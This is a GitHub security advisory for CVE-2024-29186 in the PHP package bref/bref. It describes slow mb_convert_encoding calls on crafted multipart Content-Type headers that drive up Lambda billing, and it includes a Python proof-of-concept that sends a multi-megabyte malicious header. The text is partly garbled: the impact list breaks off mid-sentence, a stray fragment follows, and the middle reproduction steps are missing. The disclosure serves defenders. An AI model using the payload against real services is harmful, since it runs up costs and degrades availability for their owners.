GitHub Advisoryadvisory · Packagist
GHSA-j4hq-f63x-f39r Slow String Operations via MultiPart Requests in Event-Driven Functions
MEDIUM
Official page ↗
- Aliases
- CVE-2024-29186
- Ecosystem
- Packagist
- Packages
- bref/bref
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400
- Reviewed
- 2024-03-22
Affected packages
• Packagist bref/bref: < 2.1.17 → fixed in 2.1.17
Description
Impacted Resources
bref/src/Event/Http/Psr7Bridge.php:94-125
multipart-parser/src/StreamedPart.php:383-418
Description
When Bref is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object.
During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the `Content-Type` header of each part is read using the `Riverline/multipart-parser` library.
The library, in the `StreamedPart::parseHeaderContent` function, performs slow multi-byte string operations on the header value.
Precisely, the `mb_convert_encoding` function is used with the first (`$string`) and third (`$from_encoding`) parameters read from the header value.
Impact
An attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.
The attack has the following requirements and limitations:
• The Lambda should use the Event-Driven Function runtime.
• The Lambda should use the `RequestHandlerInterface` handler.
• The Lambda should implement at least an endpoint accepting POST requests.
• The attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref).
• If the Lambda uses a PHP runtime ")
exit()
url = f"https://{argv[1]}/endpoint"
headers = {"Content-Type": "multipart/form-data; boundary=a"}
data_normal = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n--a--\r\n"
data_malicious = f"--a\r\nContent-Disposition: form-data; name=\"0\"\r\nContent-Type: ;*=auto''{('a'*(4717792))}'\r\n\r\n\r\n--a--\r\n"
print("[+] Sending normal request")
post(url, headers=headers, data=data_normal)
print("[+] Sending malicious request")
post(url, headers=headers, data=data_malicious)
```
5. Observe the CloudWatch logs of the Lambda and notice that the first requests used less than 200ms of billed duration, while the second one, which has a malicious `Content-Type` header, used more than 400ms of billed duration.
Suggested Remediation
Perform an additional validation on the headers parsed via the `StreamedPart::parseHeaderContent` function to allow only legitimate headers with a reasonable length.
Related
Alias · CVE (1)
- CVE-2024-29186 Bref is an open-source project that helps users go serverless on Amazon Web Services with PHP. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness